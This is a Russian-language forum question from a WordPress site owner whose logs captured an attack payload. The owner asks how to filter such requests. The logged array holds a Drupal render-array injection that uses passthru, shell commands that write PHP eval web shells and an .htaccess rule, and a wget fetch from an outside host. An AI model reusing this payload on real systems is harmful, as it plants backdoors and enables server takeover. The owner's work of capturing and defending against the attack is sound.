Мои журналы начали заполняться этим предупреждением ...
Warning: trim() expects parameter 1 to be string, array given in /wp-includes/class-wp-query.php line 756
Какая линия
public function parse_query( $query = '' ) {
...
$qv['name'] = trim( $qv['name'] );
Чтобы посмотреть, что происходит, я добавил ...
// Debug an attack
if( !is_string($qv['name']) ) {
error_log( '$_SERVER[HTTP_REFERER] = ' . $_SERVER['HTTP_REFERER'] );
error_log(print_r(debug_backtrace(), true));
exit();
}
$qv['name'] = trim( $qv['name'] );
Я вернулся, чтобы проверить логи и увидел массив, который здесь проходил ...
[query_vars] => Array
(
[name] => Array
(
[#post_render] => Array
(
[0] => passthru
)
[#type] => markup
[#markup] => echo \'Vuln!! patch it Now!\' > vuln.htm; echo \'Vuln!!<?php @eval($_POST[\'pass\']) ?>\'> sites/default/files/vuln.php; echo \'Vuln!!<?php @eval($_POST[\'pass\']) ?>\'> vuln.php; cd sites/default/files/; echo \'AddType application/x-httpd-php .jpg\' > .htaccess; wget \'http://40k.waszmann.de/Deutsch/images/up.php\'
)
Как вы могли заметить, я зарегистрировал реффер, который оказался ...
$_SERVER[HTTP_REFERER] = http://www.google.com.hk
Похоже, это было подделано.
Полный дамп стека вызовов можно найти здесь: https://paste.ee/p/0Vd49
Как я могу предотвратить проникновение этой хрени, есть ли какие-либо фильтры, которые я использую, чтобы выполнить некоторые проверки, чтобы остановить эти вызовы?
Спасибо!